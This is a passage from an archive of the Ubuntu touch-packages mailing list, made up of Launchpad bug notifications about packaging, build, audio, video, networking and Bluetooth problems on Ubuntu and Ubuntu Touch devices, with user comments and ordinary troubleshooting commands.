in Ubuntu. https://bugs.launchpad.net/bugs/1676337 Title: bsdtar symbol lookup error: undefined symbol: archive_read_add_passphrase in yakkety Status in libarchive package in Ubuntu: New Bug description: bsdtar fails on yakkety. It was discovered while using vagrant, which could not unpack images due to this issues. The workaround was to use tar instead (by changing bsdtar into a link to tar), but bsdtar is still broken. $ bsdtar bsdtar: symbol lookup error: bsdtar: undefined symbol: archive_read_add_passphrase $ lsb_release -rd Description: Ubuntu 16.10 Release: 16.10 $ apt-cache policy libarchive-tools libarchive-tools: Installed: 3.2.1-2ubuntu0.1 Candidate: 3.2.1-2ubuntu0.1 Version table: *** 3.2.1-2ubuntu0.1 500 500 http://es.archive.ubuntu.com/ubuntu yakkety-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu yakkety-security/universe amd64 Packages 100 /var/lib/dpkg/status 3.2.1-2 500 500 http://es.archive.ubuntu.com/ubuntu yakkety/universe amd64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libarchive/+bug/1676337/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1453200] Re: No focusing under low light conditions
ON the Meizu Pro5 the camera does not focus if you are trying to take a picture with writing the picture comes out good but the text is blurry -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to camera-app in Ubuntu. https://bugs.launchpad.net/bugs/1453200 Title: No focusing under low light conditions Status in Canonical System Image: Triaged Status in camera-app package in Ubuntu: Triaged Bug description: Test case. - Under low light (but not very low) conditions - Open camera app. - Tap in settings to disable flash. - At a distance of 20 cm, frame a black keyboard. - Tap to focus in a key. Expected result. - Keys are focused. Actual result. - No focus. Also, if it's focused, it will unfocus. This has been tested in Arale with Vivid devel-proposed 207 and krillin with Vivid and stable. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1453200/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1211110] Re: network manager openvpn dns push data not updating system DNS addresses
Same issue on ubuntu 16.10 yakkety too. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/120 Title: network manager openvpn dns push data not updating system DNS addresses Status in network-manager package in Ubuntu: Expired Status in openvpn package in Ubuntu: Expired Bug description: [Triage Notes] This bug can no longer make progress. Please see comment 50 for details and further instructions. [Original Description] When IPv4 Method is set to Automatic VPN, DNS address recieved from OpenVPN server do not update resolv.conf. This can be achieved when using a standard openvpn config file by adding the lines: script-security 2 up /etc/openvpn/update-resolv-conf down /etc/openvpn/update-resolv-conf In Network-manager there seems to be no option to run connection specific scripts and the DNS data from the server is ignored. Ubuntu 13.04 Network-manager 0.9.8.0-0ubuntu6 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/120/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1647204] Re: 1.8.0-2 FTBFS in zesty 17.04
Hi again, I think I'm done now with a proposal for upload, the package was tested in this PPA: https://launchpad.net/~panfaust/+archive/ubuntu/gpgme Note that I also tested a rebuild of kf5-kdepim-apps-libs against it; right now kf5-kdepim-apps-libs is failing against the current version in -proposed, making some autopkgtests fail and blocking the migration of some kde libraries. See, for instance: https://people.canonical.com/~ubuntu-archive/proposed-migration/update_excuses.html#kiconthemes So we would really appreciate if someone could upload this fixed package. If you think the proposed fix can be improved, suggestions are welcomed :) ** Patch added: "Package upload roposal" https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/1647204/+attachment/4821728/+files/gpgme1.0_1.8.0-3ubuntu2.debdiff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gpgme1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1647204 Title: 1.8.0-2 FTBFS in zesty 17.04 Status in gpgme1.0 package in Ubuntu: Confirmed Bug description: 1.8.0-2 synced from debian in Zesty Zapus 17.04 fails to build on all architectures from source with the error: checking whether a simple qt program can be built... no configure: error: *** *** Qt5 (Qt5Core) is required for Qt binding. *** The packages builds without this issue in debian unstable. A little experimentation shows that is a ubuntu sbuild/pbuilder and ppa, setting -pie in the hardening options allows the build to proceed with the Qt bindings building properly. Not being overly familiar with the hardening, I am unsure if dropping that feature set is relatively harmless, or massively undesirable and potentially harmful. However, in a ppa build, but NOT in my local sbuild/pbuilder chroot, the resulting build then hangs on the (python?) tests on starting or stopping gpg-agent, and the build is eventually killed due to inactivity after 150 mins as follows GNUPGHOME=/<>/lang/python/tests LC_ALL=C GPG_AGENT_INFO= top_srcdir=../../.. srcdir=. LD_LIBRARY_PATH="../../../src/.libs:" /usr/bin/python3 ./run-tests.py \ --interpreters="/usr/bin/python /usr/bin/python3" --srcdir=. \ initial.py t-wrapper.py t-callbacks.py t-data.py t-encrypt.py t-encrypt-sym.py t-encrypt-sign.py t-sign.py t-signers.py t-decrypt.py t-verify.py t-decrypt-verify.py t-sig-notation.py t-export.py t-import.py t-trustlist.py t-edit.py t-keylist.py t-wait.py t-encrypt-large.py t-file-name.py t-idiomatic.py t-protocol-assuan.py final.py starting gpg-agent Session terminated, terminating shell...make[1]: *** wait: No child processes. Stop. make[1]: *** Waiting for unfinished jobs make[1]: *** wait: No child processes. Stop. make[3]: *** wait: No child processes. Stop. make[3]: *** Waiting for unfinished jobs make[3]: *** wait: No child processes. Stop. ...terminated. make: *** wait: No child processes. Stop. make: *** Waiting for unfinished jobs make: *** wait: No child processes. Stop. Makefile:457: recipe for target 'check-recursive' failed make[2]: *** [check-recursive] Terminated Makefile:602: recipe for target 'xcheck' failed make[4]: *** [xcheck] Terminated Build killed with signal TERM after 150 minutes of inactivity I would note that this is the first gpgme version from gpg directly, with the Qt bindings built. These will be essential for future KDE applications and frameworks, as the gpgmepp previously built in KDE's own packages is being dropped. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/1647204/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1647204] Re: 1.8.0-2 FTBFS in zesty 17.04
Hi, > No, that's not really acceptable. firstly +pic is not an hardening option > AFAIK, what you > effectively did was disabling pie. Then I don't particularly like disabling > tests just because > they hang; please somebody investigate why they hang and actually fix them. > Unsubscribing sponsors for now. I just wanted to say that the package I had in my kde-test-good PPA was just an experiment, nothing actually intended to be uploaded. Before finishing completely the fixing of this, I had to pause for a while my work on Ubuntu (I'm sorry about that). After catching up again with the work I was doing I see the problems I spotted initially (the entropy starvation and the tests hanging) were solved, thank you! However there are still at least a couple of problems more with this package. Right now, I'm doing some experiments here: https://launchpad.net/~panfaust/+archive/ubuntu/gpgme/ Yes, it's not something acceptable for uploading for now! But I hope to get something finished soon. Cheers. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gpgme1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1647204 Title: 1.8.0-2 FTBFS in zesty 17.04 Status in gpgme1.0 package in Ubuntu: Confirmed Bug description: 1.8.0-2 synced from debian in Zesty Zapus 17.04 fails to build on all architectures from source with the error: checking whether a simple qt program can be built... no configure: error: *** *** Qt5 (Qt5Core) is required for Qt binding. *** The packages builds without this issue in debian unstable. A little experimentation shows that is a ubuntu sbuild/pbuilder and ppa, setting -pie in the hardening options allows the build to proceed with the Qt bindings building properly. Not being overly familiar with the hardening, I am unsure if dropping that feature set is relatively harmless, or massively undesirable and potentially harmful. However, in a ppa build, but NOT in my local sbuild/pbuilder chroot, the resulting build then hangs on the (python?) tests on starting or stopping gpg-agent, and the build is eventually killed due to inactivity after 150 mins as follows GNUPGHOME=/<>/lang/python/tests LC_ALL=C GPG_AGENT_INFO= top_srcdir=../../.. srcdir=. LD_LIBRARY_PATH="../../../src/.libs:" /usr/bin/python3 ./run-tests.py \ --interpreters="/usr/bin/python /usr/bin/python3" --srcdir=. \ initial.py t-wrapper.py t-callbacks.py t-data.py t-encrypt.py t-encrypt-sym.py t-encrypt-sign.py t-sign.py t-signers.py t-decrypt.py t-verify.py t-decrypt-verify.py t-sig-notation.py t-export.py t-import.py t-trustlist.py t-edit.py t-keylist.py t-wait.py t-encrypt-large.py t-file-name.py t-idiomatic.py t-protocol-assuan.py final.py starting gpg-agent Session terminated, terminating shell...make[1]: *** wait: No child processes. Stop. make[1]: *** Waiting for unfinished jobs make[1]: *** wait: No child processes. Stop. make[3]: *** wait: No child processes. Stop. make[3]: *** Waiting for unfinished jobs make[3]: *** wait: No child processes. Stop. ...terminated. make: *** wait: No child processes. Stop. make: *** Waiting for unfinished jobs make: *** wait: No child processes. Stop. Makefile:457: recipe for target 'check-recursive' failed make[2]: *** [check-recursive] Terminated Makefile:602: recipe for target 'xcheck' failed make[4]: *** [xcheck] Terminated Build killed with signal TERM after 150 minutes of inactivity I would note that this is the first gpgme version from gpg directly, with the Qt bindings built. These will be essential for future KDE applications and frameworks, as the gpgmepp previously built in KDE's own packages is being dropped. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/1647204/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1664798] [NEW] package libreadline6:i386 (not installed) failed to install/upgrade: no package named 'libreadline6:i386' is installed, cannot configure
Public bug reported: gg ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libreadline6:i386 (not installed) ProcVersionSignature: Ubuntu 4.4.0-62.83-generic 4.4.40 Uname: Linux 4.4.0-62-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.5 Architecture: amd64 Date: Tue Feb 14 22:00:56 2017 DuplicateSignature: package:libreadline6:i386:(not installed) Processing triggers for libglib2.0-0:i386 (2.48.2-0ubuntu1) ... dpkg: error processing package libreadline6:i386 (--configure): no package named 'libreadline6:i386' is installed, cannot configure ErrorMessage: no package named 'libreadline6:i386' is installed, cannot configure InstallationDate: Installed on 2016-05-17 (273 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.19 SourcePackage: readline6 Title: package libreadline6:i386 (not installed) failed to install/upgrade: no package named 'libreadline6:i386' is installed, cannot configure UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: readline6 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to readline6 in Ubuntu. https://bugs.launchpad.net/bugs/1664798 Title: package libreadline6:i386 (not installed) failed to install/upgrade: no package named 'libreadline6:i386' is installed, cannot configure Status in readline6 package in Ubuntu: New Bug description: gg ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libreadline6:i386 (not installed) ProcVersionSignature: Ubuntu 4.4.0-62.83-generic 4.4.40 Uname: Linux 4.4.0-62-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.5 Architecture: amd64 Date: Tue Feb 14 22:00:56 2017 DuplicateSignature: package:libreadline6:i386:(not installed) Processing triggers for libglib2.0-0:i386 (2.48.2-0ubuntu1) ... dpkg: error processing package libreadline6:i386 (--configure): no package named 'libreadline6:i386' is installed, cannot configure ErrorMessage: no package named 'libreadline6:i386' is installed, cannot configure InstallationDate: Installed on 2016-05-17 (273 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.19 SourcePackage: readline6 Title: package libreadline6:i386 (not installed) failed to install/upgrade: no package named 'libreadline6:i386' is installed, cannot configure UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/readline6/+bug/1664798/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1661038] [NEW] Problem with dell inspiron 3000 video driver
Public bug reported: my laptop dell inspiron 15 3000 fix problem with video driver. My display fade on/off sometime. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-43.63-generic 4.4.21 Uname: Linux 4.4.0-43-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Wed Feb 1 11:29:28 2017 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu GraphicsCard: Intel Corporation Broadwell-U Integrated Graphics [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Broadwell-U Integrated Graphics [1028:06b0] InstallationDate: Installed on 2017-01-30 (1 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: Dell Inc. Inspiron 3558 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-43-generic root=UUID=d34a28f3-c10e-48e2-942b-6ec24f5105f5 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/15/2015 dmi.bios.vendor: Dell Inc. dmi.bios.version: A07 dmi.board.name: 0F70GR dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA07:bd12/15/2015:svnDellInc.:pnInspiron3558:pvr:rvnDellInc.:rn0F70GR:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.name: Inspiron 3558 dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.67-1ubuntu0.16.04.2 version.libgl1-mesa-dri: libgl1-mesa-dri 11.2.0-1ubuntu2.2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 11.2.0-1ubuntu2.2 version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-0ubuntu0.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20160325-1ubuntu1.1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.12-1build2 xserver.bootTime: Tue Jan 31 22:32:57 2017 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id4332 vendor AUO xserver.version: 2:1.18.4-0ubuntu0.1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug compiz-0.9 ubuntu xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1661038 Title: Problem with dell inspiron 3000 video driver Status in xorg package in Ubuntu: New Bug description: my laptop dell inspiron 15 3000 fix problem with video driver. My display fade on/off sometime. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-43.63-generic 4.4.21 Uname: Linux 4.4.0-43-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Wed Feb 1 11:29:28 2017 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu GraphicsCard: Intel Corporation Broadwell-U Integrated Graphics [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Broadwell-U Integrated Graphics [1028:06b0] InstallationDate: Installed on 2017-01-30 (1 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: Dell Inc. Inspiron 3558 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-43-generic root=UUID=d34a28f3-c10e-48e2-942b-6ec24f5105f5 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/15/2015 dmi.bios.vendor: Dell Inc. dmi.bios.version: A07 dmi.board.name: 0F70GR dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA07:bd12/15/2015:svnDellInc.:pnInspiron3558:pvr:rvnDellInc.:rn0F70GR:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.name: Inspiron 3558 dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.67-1ubuntu0.16.04.2 version.libgl1-mesa-dri: libgl1-mesa-dri
[Touch-packages] [Bug 1429887] Re: Sometimes need 3 power button presses to turn on screen
This problem started after the ota 14 update -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1429887 Title: Sometimes need 3 power button presses to turn on screen Status in Canonical System Image: Incomplete Status in Unity System Compositor: New Status in powerd package in Ubuntu: Confirmed Status in unity8 package in Ubuntu: Confirmed Bug description: [filing here although may be other components] Mako running 211 from rtm I experienced these symptoms which have been previously mitigated in other scenarios. Last week while traveling and roaming this happened pretty much 100% of the time. This occurred in all areas (hotel, MWC, outside, etc) Press power button, no response Press button again, screen turns on for a few seconds then turns off Press button again, either phone resumes or more often the power dialog is shown When I returned back home the function was normal without reboot or other changes. The differences in environment: Roaming on foreign GSM network Lots of Wifi APs not connected Attached are some perhaps relevant logs, unfortunately the syslog rolled. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1429887/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1596381] Re: [X555UA, Realtek ALC256, Mic, Internal] No sound at all
The workaround worked for me on an Asus ZenBook Max x541u. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1596381 Title: [X555UA, Realtek ALC256, Mic, Internal] No sound at all Status in alsa-driver package in Ubuntu: Confirmed Bug description: Internal mic doesn't work for Asus X555UA, Codec: Realtek ALC256 speakers work, it's just the mic not working. sudo hda-verb /dev/snd/hwC0D0 0x1a SET_AMP_GAIN_MUTE 0x5003 sudo hda-verb /dev/snd/hwC0D0 0x1a SET_AMP_GAIN_MUTE 0x6003 sudo hda-verb /dev/snd/hwC0D0 0x23 SET_AMP_GAIN_MUTE 0x5200 sudo hda-verb /dev/snd/hwC0D0 0x23 SET_AMP_GAIN_MUTE 0x6200 sudo hda-verb /dev/snd/hwC0D0 0x08 SET_AMP_GAIN_MUTE 0x503f sudo hda-verb /dev/snd/hwC0D0 0x08 SET_AMP_GAIN_MUTE 0x603f sudo hda-verb /dev/snd/hwC0D0 0x08 SET_POWER_STATE 0 sudo hda-verb /dev/snd/hwC0D0 0x1a SET_POWER_STATE 0 8 lines make mic working until reboot. thx a lot for ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0c: ubuntu 1983 F...m pulseaudio /dev/snd/controlC0: ubuntu 1983 F pulseaudio CasperVersion: 1.376 CurrentDesktop: Unity Date: Sun Jun 26 23:56:46 2016 LiveMediaBuild: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaRecordingTest: ALSA recording test through plughw:PCH failed Symptom_AlsaRecordingTestStderr: a r e c o r d : p c m _ r e a d : 2 0 3 2 : r e a d e r r o r : I n p u t / o u t p u t e r r o r Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0c: ubuntu 1983 F...m pulseaudio /dev/snd/controlC0: ubuntu 1983 F pulseaudio Symptom_Jack: Mic, Internal Symptom_Type: No sound at all Title: [X555UA, Realtek ALC256, Mic, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/23/2016 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X555UA.206 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X555UA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX555UA.206:bd01/23/2016:svnASUSTeKCOMPUTERINC.:pnX555UA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX555UA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: X555UA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1596381/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1434591] Re: [mako] Cannot connect to a secure, shared "ap" hotspot
What's the latest on this issue? When i flashed touch onto my nexus 4 i saw the hotspot menu item for the first boot, but afterward it disappeared. So does this mean that the hotspot bug will never be fixed for Nexus 4? I have one slightlty off-topic question: Is bluetooth file sharing also missing for similar reasons? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1434591 Title: [mako] Cannot connect to a secure, shared "ap" hotspot Status in network-manager package in Ubuntu: Confirmed Bug description: $ system-image-cli -i current build number: 138 device name: mako channel: ubuntu-touch/devel-proposed alias: ubuntu-touch/vivid-proposed last update: 2015-03-17 15:04:46 version version: 138 version ubuntu: 20150317.1 version device: 20150210 version custom: 20150317.1 I have tried most types of security, but the spec [2] says for maximum compatibility, most of the options should be left blank. Blank settings failed on both a and bg bands. How to reproduce: 1. Create a secure hotspot (I am using this [1] script) 2. Confirm that the hotspot is active and appears secured for other devices What happens: Connecting to it fails. What should have happened: Connecting to it should not fail. Excerpt from syslog http://pastebin.ubuntu.com/10627959/ Insecure hotspots should work using this [3] script. [1] http://pastebin.ubuntu.com/10683465/ [2] https://developer.gnome.org/NetworkManager/stable/ref-settings.html [3] http://bazaar.launchpad.net/~mathieu-tl/+junk/touch-hotspot/view/head:/hotspot.py To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1434591/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1647204] Re: 1.8.0-2 FTBFS in zesty 17.04
** Changed in: gpgme1.0 (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gpgme1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1647204 Title: 1.8.0-2 FTBFS in zesty 17.04 Status in gpgme1.0 package in Ubuntu: Confirmed Bug description: 1.8.0-2 synced from debian in Zesty Zapus 17.04 fails to build on all architectures from source with the error: checking whether a simple qt program can be built... no configure: error: *** *** Qt5 (Qt5Core) is required for Qt binding. *** The packages builds without this issue in debian unstable. A little experimentation shows that is a ubuntu sbuild/pbuilder and ppa, setting -pie in the hardening options allows the build to proceed with the Qt bindings building properly. Not being overly familiar with the hardening, I am unsure if dropping that feature set is relatively harmless, or massively undesirable and potentially harmful. However, in a ppa build, but NOT in my local sbuild/pbuilder chroot, the resulting build then hangs on the (python?) tests on starting or stopping gpg-agent, and the build is eventually killed due to inactivity after 150 mins as follows GNUPGHOME=/<>/lang/python/tests LC_ALL=C GPG_AGENT_INFO= top_srcdir=../../.. srcdir=. LD_LIBRARY_PATH="../../../src/.libs:" /usr/bin/python3 ./run-tests.py \ --interpreters="/usr/bin/python /usr/bin/python3" --srcdir=. \ initial.py t-wrapper.py t-callbacks.py t-data.py t-encrypt.py t-encrypt-sym.py t-encrypt-sign.py t-sign.py t-signers.py t-decrypt.py t-verify.py t-decrypt-verify.py t-sig-notation.py t-export.py t-import.py t-trustlist.py t-edit.py t-keylist.py t-wait.py t-encrypt-large.py t-file-name.py t-idiomatic.py t-protocol-assuan.py final.py starting gpg-agent Session terminated, terminating shell...make[1]: *** wait: No child processes. Stop. make[1]: *** Waiting for unfinished jobs make[1]: *** wait: No child processes. Stop. make[3]: *** wait: No child processes. Stop. make[3]: *** Waiting for unfinished jobs make[3]: *** wait: No child processes. Stop. ...terminated. make: *** wait: No child processes. Stop. make: *** Waiting for unfinished jobs make: *** wait: No child processes. Stop. Makefile:457: recipe for target 'check-recursive' failed make[2]: *** [check-recursive] Terminated Makefile:602: recipe for target 'xcheck' failed make[4]: *** [xcheck] Terminated Build killed with signal TERM after 150 minutes of inactivity I would note that this is the first gpgme version from gpg directly, with the Qt bindings built. These will be essential for future KDE applications and frameworks, as the gpgmepp previously built in KDE's own packages is being dropped. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gpgme1.0/+bug/1647204/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1590844] Re: Bluetooth headset not working with Meizu Pro 5 Ubuntu Edition
I have a pro5 and i canr hear the other person and they cant hear me. This is my daily i sold my iphone and android as i wanted something different. Please fix whatever you need to fix this count me in. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1590844 Title: Bluetooth headset not working with Meizu Pro 5 Ubuntu Edition Status in Canonical System Image: Confirmed Status in turbo: Confirmed Status in bluez package in Ubuntu: Confirmed Bug description: My bluetooth headset perfectly connects to my Meizu Pro 5. However, the sound quality is so poor (a lot of noise) such that you don't understand your communication partner. Note that the headset works perfectly together with Ubuntu on my Nexus 4. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1590844/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1500242] Re: Bluetooth devices (Jabra BT250, Audi A3 car kit) can not be connected with BQ Aquaris 4.5
I can connect and pair perfectly on my meizu pro5 but the audio is so bad that all you hear is static and then it hangs up he call 3 min later -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1500242 Title: Bluetooth devices (Jabra BT250, Audi A3 car kit) can not be connected with BQ Aquaris 4.5 Status in Canonical System Image: In Progress Status in bluez package in Ubuntu: Confirmed Status in ofono package in Ubuntu: Incomplete Bug description: STEPS: Requirements: Aquaris E4.5, Jabra BT250 blue tooth handset device (rather old one supports blue tooth 1.1 and therefore I thought should be no issue) or Audi car kit (A3 2012 model) 1. Put Jabra BT250 into receiving mode 2. Phone searches automatically every 15 - 30 seconds for a new blue tooth device 3. Phone finds Jabra BT250 and asks for pairing code 4. Enter code into phone 5. Jabra BT250 automatically exits the pairing mode (which is a sign that pairing should have worked) 6. Phone looses connection to Jabra BT250 7. Manual reconnection via phone works (shows Jabra BT250 as being connected) but ignores the device Same behaviour with Audi car kit (Audi A3, 2012 model) EXPECTED: I expect that the blue tooth kits work similar to my Seat Alhambra (also 2012 model) where the blue tooth pairing etc. works great (except some bugs which are already filed). ACTUAL: No connection to the blue tooth device VERSIONS: OS-Build-Number: 25 Ubuntu-Image: 20150825.1 POSSIBLE ROOT CAUSE: Is this issue also solved as soon as bluez5 is implemented? When will this be? To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1500242/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : 